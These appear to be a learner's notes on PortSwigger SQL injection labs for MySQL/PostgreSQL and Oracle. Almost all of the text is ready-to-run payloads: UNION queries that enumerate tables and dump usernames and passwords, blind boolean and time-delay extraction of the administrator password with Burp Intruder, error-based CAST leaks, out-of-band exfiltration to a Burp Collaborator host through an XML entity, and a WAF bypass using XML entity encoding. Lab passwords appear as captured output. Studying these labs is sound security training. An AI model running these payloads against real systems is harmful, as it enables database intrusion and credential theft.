SQL injection
SQL injection cheat sheet | PortSwigger
Labs worth to try different solutions:
Lab: Blind SQL injection with conditional responses
Note: Determine the number of columns that are being returned by the query.
'+UNION+SELECT+null,null,null+--
Syntax of substr
in Oracle and substring
in MySql:
substr(obj, start, length)
CAST(expression AS datatype)
MySQL
# When output is strings, and the output has two columns
'+UNION+SELECT+'abc','def'+--+-
' UNION SELECT 'abc','def' -- -
'+UNION+SELECT+1,2+--+-
' UNION SELECT 1,2 -- -
# show schema (result: pg_catalog, public)
' UNION SELECT schema_name,null from information_schema.schemata -- -
# show tables (result: users_lrnvvh, products)
' UNION SELECT table_name,null from information_schema.tables where table_schema='public'-- -
# show columns (result: username_mqypon, email, password_yafwrb)
' union select column_name,null from information_schema.columns where table_name='users_lrnvvh' --
# show content of the columns
' union select username_mqypon, password_yafwrb from users_lrnvvh --
# results:
<th>wiener</th>
<td>lcw9jq5ddm0w6khq4yny</td>
<th>administrator</th>
<td>syakr1r6zzdoyucbbt3p</td>
Blind Sql injection
# verify if table users exists
TrackingId=AR4Id4NOsDWKgZr5' and (select 1 from users limit 1)=1 --
# OR
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT 'a' FROM users LIMIT 1)='a
# seek the length of password, the length is 20
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT 1 FROM users WHERE username='administrator' AND LENGTH(password)>2)=1 --
# find the first char of the password in BurpSuite Intruder
# wordlist is 0-9 and a-z
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§;
# find the second char of the password in BurpSuite Intruder
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='§a§;
....
# Result
9t4y6d9d990py759cj4g
CAST func error-based Sqli
TrackingId=yhTBJKBUnbrE987b' AND 1=CAST((SELECT username FROM users) AS int)--
# change to
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
TrackingId=' AND 1=CAST((SELECT password FROM users limit 1) AS int)--
<h4>ERROR: invalid input syntax for type integer: "89p5bcodusbr9fnbivol"</h4>
<p class=is-warning>ERROR: invalid input syntax for type integer: "89p5bcodusbr9fnbivol"</p>
Blind SQL injection with time delays
# PostgreSql
TrackingId=hPkhOrySFQ85FpIa'||pg_sleep(10) --
TrackingId=hPkhOrySFQ85FpIa'||select case when (username='administrator') then pg_sleep(10) else pg_sleep(0) end from users --
# %3B is ;
TrackingId=hPkhOrySFQ85FpIa'%3Bselect case when (username='administrator' and length(password)>3) then pg_sleep(10) else pg_sleep(0) end from users --
TrackingId=hPkhOrySFQ85FpIa'%3Bselect case when (username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(0) end from users --
# For this process to be as reliable as possible in BurpSuite Intruder, you need to configure the Intruder attack to issue requests in a single thread. To do this, go to the "Resource pool" tab and add the attack to a resource pool with the "Maximum concurrent requests" set to 1.
# position 1: 1-20
# position 2: 0-9;a-z
TrackingId=hPkhOrySFQ85FpIa'%3Bselect case when (username='administrator' and substring(password,§1§,1)='§a§') then pg_sleep(10) else pg_sleep(0) end from users --
# Results:
kpogkd2oobo6qn6ah9t0
Oracle
# When output is strings, and the output has two columns
'+UNION+SELECT+'abc','def'+from+dual+--+-
' UNION SELECT 'abc','def' from dual -- -
'+UNION+SELECT+1,2+from+dual+--+-
' UNION SELECT 1,2 from dual -- -
# List tables
' UNION SELECT table_name,NULL FROM all_tables --
# List columns names in table
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_MAFRVO'--
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_MAFRVO'--
# List credentials
' UNION SELECT PASSWORD_LIKLQH,USERNAME_BWWGIJ FROM USERS_MAFRVO --
# Results
<th>9jddzr1p7b0sn05e9g9f</th>
<td>carlos</td>
<th>xas8edrgbt2bhhohdfi9</th>
<td>wiener</td>
<th>ya6oioucvyxx27b74hjo</th>
<td>administrator</td>
Blind Sql injection
# verify if table users exists
TrackingId=3xqush3htRbBpJGL'||(select '' from users where rownum=1)||'
# 500 Internal Server Error, an error is received when the condition is true
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
# 200 OK
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
# check whether the username administrator exists
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
# seek the length of password, the length is 20
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN LENGTH(password)>20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
# find the first char of the password in BurpSuite Intruder
# wordlist is 0-9 and a-z
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
....
# Result
xrrttoce7r3macl8ykml
Blind SQL injection with out of band interaction
-- Oracle database DNS lookup with data exfiltration
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAI"> %remote;]>'),'/l') FROM dual--
x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
Blind SQL injection with out-of-band data exfiltration
-- Oracle database DNS lookup with data exfiltration
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users when username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--
TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users when username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
SQL injection with filter bypass via XML encoding
Bypass the WAF
-
As you're injecting into XML, try obfuscating your payload using XML entities. One way to do this is using the Hackvertor extension. Just highlight your input, right-click, then select
Extensions > Hackvertor > Encode > dec_entities/hex_entities
. -
Resend the request and notice that you now receive a normal response from the application. This suggests that you have successfully bypassed the WAF.
Craft an exploit
-
Pick up where you left off, and deduce that the query returns a single column. When you try to return more than one column, the application returns 0 units, implying an error.
-
As you can only return one column, you need to concatenate the returned usernames and passwords, for example:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>
<storeId> <@hex_entities>1 UNION Select username || '~' || password FROM users--</@hex_entities></storeId>
- Send this query and observe that you've successfully fetched the usernames and passwords from the database, separated by a
~
character.